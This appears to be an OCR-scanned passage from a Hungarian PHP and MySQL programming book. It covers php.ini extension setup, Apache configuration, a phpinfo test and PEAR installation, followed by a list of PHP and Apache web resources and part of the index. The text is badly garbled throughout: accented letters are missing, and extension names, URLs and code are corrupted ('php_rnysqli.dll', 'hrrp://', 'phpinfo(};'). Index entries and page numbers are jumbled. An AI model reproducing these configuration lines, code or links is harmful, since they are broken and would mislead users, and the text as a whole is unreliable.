E bvtmny bekapcsolshoz egyszeren tvoltsuk el a sor elejrl a pontosvesszt ( kikapcsolshoz pont ennek ellenkezjt tegyk)! Ne feledkezznk meg rla, hogy ha a ksbbiekben tovbbi bvtmnyeket adunk a PHP hez, a php. ini fjl mdostsa utn jra kell indtani a webszervert ahhoz, hogy a vltozsok rvnybe lpjenek! Knyvnkben a php_pdflib.dll, a php_gd2.dll, a php_imap.dll s a php_rnysqli.dll bvtmnye hasznljuk.Tvoltsuk el ezen sorok ell a ponrosvesszd Elfordulhat, hogy a php_rnysqli.dll hinyzik. Eb ben az esetben rjuk be az albbi sort:
extension=php_rnysqli.dll
Ha NTFS fjlrendszert hasznlunk, ellenrizzk, hogy a kiszolgl olyan felhasznlknt fut, amely jogosultsggal br
php.ini
fjlunk olvassra!
. 631
PHP
hozzadsa Apache-konfigurcinkhoz
conf
Elfordulhat, hogy szerkeszteni kell az Apache egyik konfigurcis fjljt. Nyissuk meg kedvenc szerkesztnkben a httpd. llomnyt! A fjlt ltalban a c:\Program Files\Apache Software Foundation \Apache2.2\conf\ knyvtrban talljuk. Keressk meg az albbi sorokat:
LoadModule phpS_module c:/php/php5apache2 2.dll PHPiniDir "c:/php/"
Ha nem talljuk ezeket, rjuk be ket a fjlba, mentsk el azt, majd indtsuk jra Apache kiszolglnkat!
Munknk ellenrzse
A kvetkez lps webszervernk elindtsa. Ezt kveten meggyzdhetnk arrl, hogy a PHP mkdik-e. Hozzuk ltre a test.php fjlt, s rjuk bele az albbi sort:
<?
phpinfo(};
?>
File\Apache Software Foundation\
gyeljnk, hogy ez a fjl a gykrknyvtrban (ltalban C: \Program Apache2.2\htdocs ) legyen, majd nyissuk meg a bngsznkben:
http://localhost/test.php
vagy
http://ide-kerul-az-ip-cimunk/test.php
Ha az A. 2 brn lthathoz hasonl kpernyt kapunk, biztosak lehetnk benne, hogy a PHP mkdik.
A PEAR teleptse
A PHP5-nek rsze a PHP Extension and Application Reposirory (PEAR) csomagtelept kszlet. Ha Windowst hasznlunk, menjnk a parancssorba, s gpeljk be ezt:
c:\php\go-pear
A go-pear kd nhny egyszer krdst tesz fel arra vonatkozan, hova szetetnnk telepteni a csomagteleptt s az ltalnos PEAR osztlyokat, majd letlti s telepti azokat szmunkra. (Linux alatt erre az els lpsre nincs szksg, de a tele ptsi folyamat tbbi rsze ugyanaz lesz.) Ennl a pontnl a PEAR csomagtelept teleptett vltozatval, illetve az alapvet PEAR knyvtrakkal kell rendelkeznnk. Ezt kveten a csomagokat egyszeren a
pear install csomag
begpelsvel telepthetjk, ahol a csomag a telepteni kvnt csomag nevt jelli. Az elrhet csomagok listjt a
pear list-all
utastst begpelve kapjuk meg. Hogy lssuk, eddig mit teleptettnk, rjuk be az albbi parancsot:
pear list
A Levelezlista-kezel alkalmazsfejlesztse cm 30. fejezethez szksges MIME levelezcsomag teleptshez az albbiakat kell begpelni:
pear install Mail_Mime
A MySQL adatbzis elrse a webrl PHP-vel cm ll. fejezetben emltett DB csomagot is hasonlan kell telepteni:
pear install MDB2
utastst hasznlhatjuk. Ha a fent lertak valamilyen okbl nem mkdnek nlunk, ajnlott a PEAR csomagokat kzverlenl letlteni. Ehhez menjnk a http:/ /pear.php.net/packages.php oldalra! Innen megkereshetjk a klnbz csomagokat. Ebben a knyvben tbbek kzte a Mail_Mime csomagot hasznljuk. Menjnk ennek oldalra, majd a "Download Latest" (Legfrissebb verzi letltse) gombra kattintva tltsk le a csomagot! A le tlttt llomnyt ki kell csomagolni, s az include_path direktvban meghatrozott helyre kell pakolni. Kell, hogy legyen c:\php\pear vagy hasonl knyvtrunk. Ha sajt kezleg tltnk le csomagokat, ajnlott azokat a PEAR gykrknyvtr ba helyezni. A PEAR megszokott struktrval rendelkezik, ezrt ajnlott a dolgokat a szoksos helykre pakolni - oda, ahova a telept is tenn azokat. A Mail_Mime csomag pldul a Mai! rszhez tartozik, gy ebben a pldban a c:\php\pear\ Mai l knyvtrba pakolnnk azt.
632
35. fezer
Ezekkel nem foglalkozunk ebben a fggelkben, konfigurlsukrl a MySQL s a PHP weboldalain- hrrp://www.mysql.com, ilietve hrrp://www.php .net- tallunk informcit.
B fggelk
Webes forrsok
Ebben a fggelkben az interneten elrhet, szmtalan forrs kzl emelnk ki nhnyat. Ezeken a weboldalakon egyebek kzte oktatanyagokat, cikkeket, hreket s minta PHP kdokat tallunk. Az itteni felsorols nem lehet tbb, mint egy szk vlogats a vilghln elrhet szmtalan forrsbl. Annl termszetesen sokkal tbb oldal foglalkozik a tmval, mintsem itt lehetsgnk lenne mindet felsorolni, radsul gombamd szaporodnak, ahogy a PHP s a MySQL hasznlata s npszers ge egyre nvekszik a webfejlesztk krben. Az itt felsorolt forrsok egy rsze nem angol, hanem nmet, francia vagy egyb nyelven rhet el. Hogy az ilyen webes for rsokat angol nyelven olvashassk azok, akiknek ez az anyanyelve, olyan fordtalkalmazs hasznlatt ajnlja a szerz, mint amilyen a http://www.systransoft.com oldalon rhet el.
Forrsok
PHP-rl
PHP.Net- http://www. php.net-A PHP eredeti oldala. Innen tlthetjk le a PHP binris s forrsverzijt, illerve az online kziknyvet. Az oldalon tallzharunk a levelezlistk archvumban, s naprakszek maradharunk a PHP-s hrek tern. Zend.Com-http://www.zend.com- A PHP-t mkdtet Zend motor forrsa. A portloldalon frumokat, cikkeket, oktatanyagot, valamint hasznlatra ksz mintaosztlyok s -kdok adathzisr tallj uk. PEAR- http://pear.php.net-A PHP Extension and Application Repository oldala. Ez a PHP-bvtmnyek hivatalos oldala. PECL-htcp:// pecl.php.net -A PEAR tesrvroldala. A PEAR PHP-ben, a PECL (amit ..pik!" -nek szoks ejteni) ugyan akkor C-ben megrt osztlyokkal dolgozik. A PECL osztlyokat esetenknt nehezebb telepteni, m jellemzen gazdagabb funkcionalitssal rendelkeznek s szinte mindig hatkonyabbak, mint PHP alap prjaik. PHPCommunity- http://www.phpcommunicy.org/- A PHP-kzssg egy viszonylag j oldala. phplarchitect-http://www.phparch.com- PHP magazin. Az oldalon ingyenes cikkeket olvasharunk, illerve elfizethernk a magazin PDF- vagy nyomtatott vltozatra. PHP Magazine-http://www.phpmag.net/ -Egy msik PHP magazin, amely- az elbbihez hasonlan -elektronikus s nyomtatott formban is elrhet. PHP Wizard.net- http://www.phpwizard.net- Szmtalan klassz PHP-s alkalmazs, pldul a phpChar s a phpiRC forrsa. PHPMyAdmin.Net- http://www.phpmyadmin.net/-A MySQL-hez rt npszer, PHP alap webes fellet (front end) oldala. PHPBuilder.com-http://www.phpbuilder.com- PHP-oktatanyagok (rutorial) portlja. Az oldalon szinte mindenhez tallunk anyagot. Frumot is mkdtet, ahol feleehetjk krdseinket. DevShed.com- http://www.devshed.com-Portltpus oldal, ahol kivl oktatanyagokat tallunk a PHP-rl, a MySQL-rl, a Perlrl s ms fejlesztnyelvekrL PX-PHP Code Exchange- http://px.sklar.com- Kivl kiindulpont. Szmtalan mintakdot s hasznos fggvnyt tal lunk itt. The PHP Resource- http://www.php-resource.de-Oktatanyagok, cikkek s kdok kivl forrsa. Az egyeclen.,probl ma" az oldallal, hogy nmerl rdott. A mintakdokat mindazonltal nmettuds nlkl is meg fogjuk rteni. WeberDev.com-http:/ /www.WeberDev.com- A korbban Berber's PHP sample page (Berber PHP mintaoldala) nven ismert oldal kintte magt, immr oktatanyagokat s mintakdokat is szp szmmal tartalmaz. A PHP s a MySQL felhasz nlit clozza, kiemelten fogWkozik a biztonsggal s az adatbzisokkal. HotScripts.com-http://www.hocscripts.com- Kategrikba rendezett kdok kivl gyjtemnye. Az oldal klnbz nyelven (PHP, ASP.NET s Perl) rt kdokat tartalmaz. A gyakran frisstett oldalon nagyszer PHP kdokat cal.lunk. Ne hagyjuk ki, ha kdokat keresnk!
634
35. fejezet
PHP Base Library- http://phplib.sourceforge.net- Nagylptk PHP projektek fejleszti lral ltogatorr oldal. Szm talan eszkzt knl a munkamenet-kezelsnek a knyvben ltottl eltr megkzeltshez, sablonok hasznlathoz, illetve az adatbzis-absztrakcihoz. PHP Center- hrrp://www.php-center.de- Egy msik nmet portl, ahol egyebek kzrr oktatanyagokat, kdokat, tippe ket, trkkket s reklmokat tallunk. PHP Homepage- http://www.php-homepage.de- Mg egy nmet PHP oldal kdokkal, cikkekkel, hrekkel stb. Gyors referencia-tmutatval is rendelkezik. PHPindex.com- http://www.phpindex.com- Ignyes francia PHP portl tmntelen, PHP-hez kapcsold tartalommal. Az oldalon egyebek kzrr hreket, gyaktan ismtelt krdseket, cikkeket, llsajnlatokat tallunk. WebMonkey.com- http://www.webmonkey.com - Rengeteg webes forrssal, valdi projektekre pl oktatanyagokkal, mintakdokkal rendelkez oldal. Oldaltervezssel, programozssal, back end alkalmazs fejlesztsvel, multimdis tmkkal stb. egyarnt foglalkozik. PHP Club- http://www.phpclub.net- Kezd PHP-felhasznlknak szmtalan informcit knl oldal. Hreket, knyv ajnlsokat, mintakdokat, frumokat, gyaktan ismtelt krdseket s kezdknek kszlt oktatanyaget tallunk irr. PHP Classes Repository- hrrp://phpclasses.org- PHP-ban rt, ingyenesen hasznlhat osztlyok terjesztst clz oldal. Ha fejlesztnk valamit, vagy kdunk osztlyokbl ll, akkor semmikppen sem szabad kihagyni ezt az oldalt! Kivl keresvel rendelkezik, gy gyorsan megtallhatjuk a neknk kell dolgokat. PHP Resource Index- http://php.resourceindex.com- Kdok, osztlyok s dokumentcik portloldala. A legvonzbb az oldalban, hogy mindent szpen kategrikba rendeztek, amivel rengeteg idt takartharunk meg. PHP Developer- http:/ /www.phpdeveloper.org- PHP-val kapcsolatos hreket, cikkeket s oktatanyagokat knl, jabb portl. Evil Walrus- http://www.evilwalrus.com- PHP kdokat tartalmaz, ignyes kinzet portl. SourceForge- http://sourceforge.net- Nylt forrskd forrsok kiterjedt gyjtemnye. A SourceForge nem csupn a hasznos kdok felkutatsban segt, hanem nylt forrskd fejlesztk ltal hasznlhat CVS-hez, levelezlistkhoz s g pekhez is hozzjuthatunk. Codewalkers- hrrp:/ l codewalkers.com/ - Cikkeket, knyvajnlkat s oktatanyagokat tartalmaz, illetve nagyon j PHP-versenyt szervez oldal. j tudsunkkal vonz ajndkokat nyerhetnk a versenyben, amit kthetente hirdernek meg az oldalon. PHP Developer's Network Unilied Forums- http:/ /forums.devnetwork.net/index.php-PHP-hoz kapcsold tmk fruma. PHP Kitchen- http://www.phpkitchen.com/- Cikkek, hrek s tmogats a PHP-hoz. Postnuke- hrrp://www.posmuke.com/- Gyakran hasznlt PHP-s tartalomkezel rendszer. PHP Application Tools- http://www.php-tools.de/- Hasznos PHP osztlyok gyjtemnye. Codango- http://www.codango.com/php/- PHP-s webes alkalmazsok, knyvtrak, kdok, hoszting, oktatanyagok stb. rtkes forrsa.
SearchDatabase.com- http://searchdatabase.techtarget.com/- Ignyes portl rengeteg hasznos informcival az adatb zisokrL Kivl oktatanyagokat, tancsokat, gyakran ismtelt krdseket s tanulmnyokat tartalmaz. Ne hagyjuk ki!
Forrsok az Apacherl
Apache Sofrware- http://www.apache.org- A kiindulpont, ha forrsokat vagy binris fjlokat kvnunk letlteni az Apache web:Zerverhez. Az oldalon online dokumentcit tallunk.
Apache Week- http://www.apacheweek.com- Hetente megjelen online magazin, amely Apache szervert furratk vagy Apache szolgltatsokat hasznlk szmra tartalmaz fontos informcikat. Apache Today- hrrp://www.apachetoday.com- Naponta frissl hr- s informciforrs az Apache-rl. Csak regisztrlt felhasznlk tehetnek fel krdseket.
Webes forrsok
635
Webfejleszts
Philip and Alex's Guide to Web Publishing- http://philip.greenspun.com/panda/- Szrakoztat, knnyed hangvtel t mutat a szaftverfejleszts webes fejlesztsekre alkalmazhat rszeihez. Egyike azon kevs knyveknek, amelyeknek a trsszer zje egy k utya.
Trgymutat
Szimblumok
$type paramter 579 ===(azonos mveletijel) 28 adatbazis_letrehozasa.php f (Warm Maii jl alkalmazs) 453 adatbazis_letrehozasa.sql fjl 520 MLM alkalmazs 480 webes frum 519 adatbzisok 141 adatok beszrsa 165 betltse fjlokbl 209 visszakeresse 167 belltsa (online hrlevelek) 480 biztonsg 198 jelszavak 198 webes krdsek 199 biztonsgi mentse 206 Book-O-Rama ltrehozsa 165 tblk SQL kd 166 ja DDL (Data Definition Language) 165 DML (Data Manipulation Language) rekordok trlse 179 relcis adatbzisok 143 replikci 206 smk 143 SQL (Strucrured Query Language) 165 szerverek biztonsg 259 kapcsolds -hez 260 tblk 141 rtkek 142 oszlopok 14 2 sorok 142 trlse 179 adatbzis-optimalizls 205 adat_ellenorzo_fuggvenyek.php f jl MLM alkalmazs 480 PHPBookmark alkalmazs 393 Warm Maii alkalmazs 453 webes frum 519 adat_kikereses.php fjl 308 adatok tpusai vltozk 20 adott feltteleknek megfelel adatok visszakeresse 168 beszrsa adatbzisokba 165 betltse fjlokbl 209 beviteli ellenrzse 384 bizalmas adatok hitelkrtyaadatok trolsa 283 trolsa 282 trolsa 39 tpusai TEXT tpusok 162 titkostsa 282 visszakeresse adatbzisokbl 167 adatvdelmi nyilatkozat zleti weboldalak 225 addslashes() fggvny 78, 184, 282 Add to Cart hivatkozs 570 admin_felhasznalo_ellenorzese() fggvny
(hromoperandus mvelerijel) 27
A,
about.php fjl (Tahuayo alkalmazs) 571 abszolt elrsi tvonalak 41 absztrakt osztlyok 126 ACID-kompatibilis tranzakcik 210 Acrobat weboldal 543 adattvitel adatbzis replikci 206 adatbazis_fuggvenyek.php fjl MLM alkalmazs 480 PHPBookmark alkalmazs 393 Warm Maii alkalmazs 453 webes frum 519
486
adminisztrtori funkcik 444 admin.php f (online kosr alkalmazs) jl
422
Adobe PostScript 541 weboldal 543
638
Trgymutat
Advanced Maryland Autamated Nerwork Disk Archiver (AMANDA) 242 ajnls knyvjelzk 392 megvalstsa 416,418 ajanlas.php fjl (PHPBookmark alkalmazs)
REST /XML 585,591 Web Services 563 Web Services fellerek 567 XML rtelmezse 568 AmazonResultSet osztly 571 a megnyitsi md 41 a+ megnyitsi md 41 Analog weboldal 223 anomlik elkerlse (webes adatbzisok) 145 Apache erforrsok 634 futtatsa 626 HTTP Szerver 258 konfigurcik PHP teleptsek 631 paramterek, MaxClients 185 Sofrware weboldala 634 teleptse binris fjlok 622 forrs teleptse 622 Today weboldala 635 weboldala 622 webszerver alapszint hitelests (HTTP) 271 htpasswd program 274 mod_aurh modul 273 mod_aurh_mysql modul 275 Week weboldala 634 Windows 629 ramkimaradsok 243 architektra webes adarbzisok 147 ARCHIVE tblk 210 archvumok BUGTRAQ 297 argumentumok 16, 17 array_count_values() fggvny 70 array() nyelvi szerkezet 56 array_push() fggvny 496 array_reverse() fggvny 66 array_walk() fggvny 69 ar _szamolasa() fggvny 436 ASC kulcssz 173 ASP sryle (PHP cmkk) 15 Associate ID (Amazon partnerazonosr)
ltrehozsa 109 rvireli mdok FTP 317 auclirls 241 auto_append_file (php.ini fjl) 95 aurocommit md 210 auroload()fggvny 127 automatikus elllrs kpek 336 auro_prepend_file (php.ini fjl) 95 azonosrk 20 eredmnyazonosrk 186 kpazonosrk rrlse 335 azonos mveleri jel 59
393
Ajax 599 ajaxSzerver Ido.html 606 alairas.png fjl (oklevelek projekt) 544 alapszint hitelesrs (HTTP) 270 Apache .htaccess fjlokkal 272 PHP-ben 271 alkalmazsok Bob autalkatrszek 12, 13, 135 Book-O-Rama alkalmazs adarbzis keressi oldala 182 sma 149 dokumentci 375 intelligens zenerkld rlap ltrehozsa 73 kezdhet kd rsa 371 darabokra bonts 373 elnevezsi szoksok 371 fggvnyknyvrrak 374 knyvtrstruktrk 373 megjegyzsek hasznlata 372 programozsi szablyok 371 tagolsa 373 kd tesztelse 3 77 kd tbbszri felhasznlsa 370 megvalstsa 370 mkdsi logika 376 nemzetkziesrse 5 optimalizlsa 376 PHPBookmark fjlok 393 prototpusok 375 rtegek 148 szaftverfejleszts 369 tartalom 376 tervezse 370 verzikvers 374 alkalmazsrtegbeli protokollok 280 llandk (konstansok) 21 hibajelents 387 AL L jogosultsg 154 alralanos_felhasznalo_ellenorzese() fggvny 486 ALTER jogosultsg 153 ALTER TABLE utasts 177 AMANDA (Advanced Maryland Autamated Nerwork Disk Archiver) 242 Amazon Associate ID (partnerazonost) 567 bngszsi csompont 569 fejleszti token 567 fizers 597 gyorsttrazs 568 online kosr fejlesztse 567 PHP SOAP knyvtrak 568
B
basename() fggvny 301, 303 befoglal kererek koorclinrk 340 tmb tartalma 340 beillesztett_fuggvenyek.php fjl ML M alkalmazs 480 Warm Maii alkalmazs 453 webes frum 519 bejelentkezs FTP szerverek 316 MySQL 150 naplzsa 241 nvrelen bejelentkezs (FTP) 315 Warm Maii alkalmazs (e-mail kliens)
460
bejelentkezes_ellenorzese() fggvny 486 bejelentkezes() fggvny 403,491 bejelentkezes.php fjl online kosr alkalmazs 422 PHPBookmark alkalmazs 393 beszlgetsfonalak (frum) sszecsuksa 524 beszrsi anomlik elkerlse (webes adatbzisok) 145 berlts adatok berltse fjlokbl 209 bvtmnyek 363 bettpusok FreeType knyvtr letltse 332 gombszveg 336 kpek ltrehozsa 336 lefele nyl betszrak 340 PDF olvask 555 PostScript Type l bettpusok letltse
567
asszociatv tmbk. L sd mg tmbk 57 bejrsa ciklusokkal 58 each() fggvny 58 ltrehozsa 57 list() fggvny 58 tartalmnak elrse 57 ralakrs osztlyok karakterlncokk 129 tmbk skalris vltozkk 70 trendezs tmbk 64 shuffie() fggvny 65 array _reverse() fggvny 66 attribrumok 109 fellirsa 114
332
TrueType 336 beviteli adatok ellenrzse 184, 384 szrse 184 binris fjlok teleptse 622 MySQL
622
Trgymutat
639
biztonsg 245 adatbzisok 198, 260 hitelesrs 259 jelszavak 198 kapcsolds szerverekhez 260 opercis rendszer 198 szerverek 260 webes krdsek 199 bizalmas adarokhoz val hozzfrs korltozsa 246 Data Encryption Standard (DES) 239 Denial of Service tmads 247 DMZ 261 fjlok feltltsek 295, 298 fjlrendszer 254 felhasznli bevitel szrse 249 felkszls DoS tmadsokra 262 felgyelet 246 fizikai biztonsg 263 GPG (Gnu Privacy Guard) 283 hatsa a hasznlhatsgra 245 hitelesrs 232 egyni hitelests ltrehozsa 276 felhasznJk azonostsa 265 hozzfrs-szablyozs megvalsrsa
auditls 241 biztonsgi hzirendek ltrehozsa 236 biztonsgos webszerverek 240 crackerek 227 digitlis alrsok 239 digitlis tanstvnyok 240 fenyegetsek 232 fizikai biztonsg 242 hash fggvny 240 hitelests 237 jelszavak 237 naplzs 241 tanstvny-alrsi krelem (CSR) 241 titkosts 238 tzfalak 242 biztonsgi fenyegetsek crackerek 248 elgededen alkalmazottak 248 fertztt gpek 248 hardvertolvajok 248 zleti weboldalak 232 adatmdosts 234 adarveszts 233 bizalmas adatok kitettsge 232 DDoS (Distributed Denial of Service) tmads 234 DoS (Denial of Service) rmads 234 letagads 235 szaftverhibk 235 biztonsgi ments 242 adatbzisok 206 AMANDA (Advanced Maryland Autamated Network Disk ArchiverJ 242 FTP fggvnyek 313 bejelentkezsek 316 frissts idpontjnak ellenrzse 316 kapcsolatok bontsa 318 letltsek 317 tvoli kapcsolatok 315 MySQL adatbzisok 242 biztonsgos trols 282 biztonsgos tranzakcik 277 biztonsgos trols 282 felhasznli bevitel szrse 282 felhasznJk szmtgpei 278 Internet 278 rendszerek 279 Secure Sockets Layer (SSL) 280 adatok kldse 281 kzfogs (handshaking) 280 protokollvermek 280 tmrts 281 webes bngszk 278 biztonsgos webszerverek 240 blokkok 32 try (kivtelkezels) 131 b megnyirsi md 41 Bob autalkatrszek alkalmazs 12, 13 kivtelkezels 135 bngszsi csompont (Amazon) 569 bngszk
biztonsgos rranzakcik 278 hitelests 237 knyvtrak 298 bookdisplayfunctions.php fjl (Tahuayo alkalmazs) 571 Book-O-Rama alkalmazs adatbzis keressi oldala 182 ltrehozsa 165 sma 149 tblk SQL kdja 166 Boolean adattpus (vltozk) 20 bottom.php fjl (Tahuayo alkalmazs) 571 bvtmnyek betltse 363 break utasts 38 brochureware honlapok 221 hibi gyenge minsg megjelens 222 informci hinya 222 ltogatottsg mrse 223 megkeressek megvlaszolsa 222 tartalom frisstse 223 jellemz hinyossgaik 223 BUGTRAQ archvumok 297
266
jelszavak 237 jelszavak trolsa 267 jelszavak titkostsa 269 kivonatos hitelests 271 mod_auth_mysql modul 275 tbb oldal vdelme 270 weboldalak 276 jelszavak 245 katasztrfa-elhrrsi terv 263 kimenet rtkeinek szrse vdkarakterekkel 252 kdjaink szervezse 253 PGP (Pretty Good Privacy) 283 .php fjlokhoz val hozzfrs korltozsa
C,Cs
cached() fggvny 593 cache() fggvny 593 Cascading Sryle Sheets (CSS) 376 CA (tanst szervezet) 240 category List tmb 577 CGI rtelmez 621 checkdate() fggvny 251 Checkout hivatkozs 570 chgrp() fggvny 304 chmod() fggvny 304 chown() fggvny 304 ciklusok 35 break utasts 38 do...while ciklusok 37 for ciklusok 37 foreach ciklusok 37 iterci 127 numerikusan indexelt tmbk elrse 57 asszociatv tmbk 58 while ciklusok 36 cmkk (rag) PHP cmkk (tag) 14 ASP stlus 15 rvid stlus 14 SCRIPT stlus 14 XML stlus 14 require() utasts 91 zr/nyit (XML) 565 cm szerinti paramtertads 102 closedir() fggvny 299 Codewalkers weboldal
254
rosszindulat kd befecskendezse 247 Secure Sockets Layer (SSL) 233 SQL injecrion tmadsok 252 tansr szervezetek (CA) 240 trhelyszolgltats 258 TCP/IP hlzatok 233 tesztels hibk utn kutarva 255 titkosts 283 ttanzakcik 277 biztonsgos trols 282 felhasznli bevitel szrse 282 felhasznJk szmtgpei 278 Internet 278 rendszerek 279 Secure Sockets Layer (SSL) 280 webes bngszk 278 tzfalak 261 zleti weboldalak 231 adatok biztonsgi mentse 242 a trolt informci fonrossga 231
634
columns_priv tbla 194, 196 Concurrent Versions System (CVS) 374 constants.php fjl Tahuayo alkalmazs 571
640
Trgymutat
continue kezelk 215 continue utastsok 38 crackerek 227, 248 CREATE jogosultsg 153 crypt() fggvny 269 mkdse PHP 5.3-ban 5 csak_tagoknak.php kd (hitelests) 358 csatolt llomnyok (e-mail) 478 csillag_rajzolasa() fggvny 562 cskkents mveleti jelek 24 csompontok bngszsi csompont (Amazon) 569 webes frum fastruktrja 518 gyermek csompontok 518 gykr csompontok 518 levl csompontok 518 szl csompontok 518 csomopont osztly 518 csomopont_osztaly.php fjl (webes frum) 519 csoportosthatsg mveleti jelek 29 CSR (Certificate Signing Request) 241 CSS (Cascading Style Sheets) 376 CSS (Cascading Style Sheets) osztlyok 601
DESC kulcssz 173 DESCRIBE parancs 159 describe user; utasts 194 DESCRIBE utasts 201 DES (Data Encryption Standard) 239 destruktorok 110 Details hivatkozs 570 Devshed weboldal diagram egyed-kapcsolat 143 die() nyelvi szerkezet 361 digitlis alrsok 239 digitlis tansitvnyok 240 digitlis termkek rtkestse (zleti weboldalak) 226 dinamikus tartalom 16 date() fggvny 16 fggvnyek 16 direktvk furtatsi 38 magic_quotes_gpc 282 magic_quotes_runtime 282 php.ini fjl szerkesztse 364 dirname() fggvny 301, 303 disk_free_space($path) fggvny 301 Distributed Denial of Service (DDoS) 234 DML (Data Manipulatien Language) 165 DMZ (demilitarizlt zna) 248 dokumentci GD weboldala 348 webes alkalmazsok projektjei 375 dokumenrumok PDF oklevelek projekt 550 RTF 548 okl.evelek projekt 544 tovbbfejlesztsi lehetsgek 562 DoS (Denial of Service) tmads 234, 247 double adartpus (vltozk) 20 do...while ciklusok 37 DROP DATABASE utasts 179 DROP jogosultsg 153 DTD (Document Type Definition) 565 dzskerkarakter 633
rs 40 megnyitsa 40 fopen() fggvny 41 megnyitsi mdok 40 egyszer szveg (titkosts) 238 e-kereskedelmi weboldalak 219, 221 adatvdelmi nyilatkozat 225 biztonsg 231 adatok biztonsgi mentse 242 a ttolt informci fontossga 231 auditls 241 biztonsgi hzirendek ltrehozsa 236 biztonsgos webszerverek 240 digitlis alrsok 239 digitlis tanstvnyok 240 fenyegetsek 232 fizikai biztonsg 242 hash fggvny 240 hitelests 237 jelszavak 237 naplzs 241 tanst szervezetek (CA) 240 tanstvny-alrsi krelem (CSR) 241 titkosts 238 tzfalak 242 hitelests 232 kockzatai 227 crackerek 227 hardverhiba 228 jogi szablyozs s adrendszer 229 kvnt zleti eredmny elmaradsa 228 rendszer-kapacitsbeli korltok 229 szoftverhibk 228 szolgltari hibk 228 verseny 228 kltsgcskkenrs 227 online katalgnsok 221 jellemz hinyossgaik 223 SSL (Secure Sockets Layer) 225 stratgik kvlasztsa 229 szolgltatsok s digitlis termkek rtkestse 226 termkek vagy szolgltatsok megrendelse 223 tpusai 221 tbbletrtk hozzadsa termkekhez vagy szolgltatsokhoz 226 visszatrtsi szablyzat 225 elgedetlen alkalmazottak 248 elemek 56 gykrelemek (XML) 566 elrs rszsztringek elrse substrO fggvnnyel 80 elrsi tvonalak abszolt 41 fjlok 301 relatv 41 elfelejtett_jelszo.php fjl (PHPBookmark alkalmazs) 393 elfelejtett_urlap.php fjl (PHPBookmark alkalmazs) 393
D
Data Definition Language (DDL) 165 Data Encryption Standard (DES) 239 Data Manipulaeion Language (DML) 165 DATE_FORMAT() fggvny 326 date() fggvny 16, 321 formrumkdok 321 date_sub() fggvny 328 drum s id MySQL-ben DATE_FORMAT() fggvny 326 szmolsok 328 naptrak 329 PHP-ben 321 date() fggvny 321 floor() fggvny 327 mikroszekundumok 329 db tbla 194 DDL (Data Delinition Language) 165 DDoS (Distributed Denial of Service) 234, 247 declare kezelk 215 declare vezrlsi szerkezet 38 decoct() fggvny 303 deklarls fggvnyek 98 trolt eljrsok 212 trolt fggvnyek 213 DELETE jogosultsg 153 demilitarizlt zna (DMZ) 248 konfigurlsa 261 Denial of Service (DoS) tmads 234, 247
(%)
197
E,
each() fggvny 58 egyed-kapcsolat diagram 143 egyni hitelests ltrehozsa 276 egyenl mveleti jel 25, 59 egyenlsgjel (
=
rtkad mveleti jel 18 egyensszekapcsolsok 170, 172 egyests karakterlncok implode() fggvny 79 join() fggvny 79 egyoperandus mveleti jelek 23 egyszeru_abra.php fjl 333 egyszer fjlok 39 beolvassa 40
Trgymutat
641
ellenrzs kapcsolatok 197 vltozllapot 31 elnevezs fggvnyek 98 szoksok 371 elfordtott utastsok 189 elzetes cskkents mveleti jel 24 elzetes nvels mveleti jel 24 else utastsok 32 elseif utastsok 33 lsimts szveg 334 elsbbsgi sorrend mveleti jelek 29 elsdleges kulcsok (adatbzisok) 142 elvont osztlyok 126 e-mail csatolt llomnyok 478 kldse 307 olvassa 307 titkostsa 283 titkostsa GPG (Gnu Privacy Guard) 283 PGP (Pretry Good Privacy) 283 Warm Maii alkalmazs fjlok 453 fellet 452 IMAP fggvnyknyvtr 451 megoldsok 451 email_lekerese() fggvny 492 empry() fggvny 31 entiry (HTML) 252 ENUM tpus 163 EPA weboldal 243 eredmnyazonosrk lekrdezs eredmnynek visszakeresse (webes adatbzisok) 186 eredmenyek_megjelenitese.php fjl 343,346 eredmenyek.php kd 182 ereg_replace() fggvny 88 eregi_replace() fggvny 88 erforrsok adattpusok 20 rtkad mveleti jelek 20,23 cskkents mveleti jelek 24 egyenlsgjel (
=
rtkels karakterlncok 361 ertekeles.php fjl (oklevelek projekt) 544 rtk szerinti paramtertads 102 rtkvisszaads rtkad mveleti jel 24 ervenyes_felhasznalo_ellenorzes() fggvny
megnyitsi mdok 40 MLM 480 naplzsa 241 olvassa/rsa 382 online kosr alkalmazs 422 perszanalizlt dokumentumok 544 PHPBookmark alkalmazs 393 php.ini fjl auto_append_file 95 auto_prepend_file 95 drektvk szerkesztse 364
403
escapeshellcmd() fggvny 282,256,306
634
progex.php 305 T ahuayo alkalmazs 571 trlse 304 tkrzse FTP fggvnyekkel 313 uj_konyvek.rxc 209 valtozok_kiiracasa.php 385 Warm Maii alkalmazs (e-mail kliens)
453
webes frum 519 fajlreszlecek.php fjl 302 fanezet_megjelenicese() fggvny 525 fastruhra (webes frum) 518 fclose() fggvny 299 fdf_creace() fggvny 551 fdf_set_file() fggvny 551 fdf_set_value() fggvny 551 Fedex weboldal 226 fehrkz karakterek 15 fejleszti token (Amazon) 567 fejlesztkrnyezetek 375 feldolgozas.php fjl (online kosr alkalmazs) 422 felesleges alkalmazsok kikapcsolsa 262 felhasznl ltal deklarlt vltozk 20 felhasznl ltal meghatrozott kivtelek
F
fjlkezels kivtelek 135 fjlnvkiterjesztsek require() utasts 91 fjlok 39 adat_kikereses.php 308 adatok betltse fjlokbl 209 llapotfggvnyek eredmnyei 305 thelyezse 304 beolvassa 40,302 biztonsgi mentse 313 egyszeru_abra.php 333 elrsi tvonalak, knyvtrak 30 l fjlkezels 135 lajlreszletek.php 302 fjltulajdonsgok megvltoztatsa 304 feleltse 293 biztonsg 295,298 FTP (File Transfer Protocol) 318 hibakeress 298 HTML 293 megjelenitse 297 online hrlevelek 478 PHP kd rsa 295 gomb_cervezese.hcml 336 hcaccess fjlok (Apache webszerver) 272 httpd.conf 626 rsa 40 rsi jogosultsgok 282 konyvcar_tallozas.php 298 ltrehozsa 304 megnyitsa 40 fopen() fggvny 41 megnyirsi mdok 40
133,135
felhasznl ltal meghatrozott rendezsek tbbdmenzis tmbk 63 felhasznli bevitel szrse 282 felhasznli felletek zleti weboldalak 225 felhasznli fikok belltsa 462 kivlasztsa 467 crlse 464 felhasznaloi_hicelesices_fuggvenyek.php fjl MLM alkalmazs 480 online kosr alkalmazs 423 PHPBookmark alkalmazs 393 Warm Maii alkalmazs 453 felhasznaloi_hicelesites_fuggvenyek.php knyvcr hicelesicett_felhasznalo_ellenorzese() fggvny 461 felhasznli jogosultsgok adatbzis biztonsga 198 felhasznaloi_menu_megjelenitese() fggvny
) 18
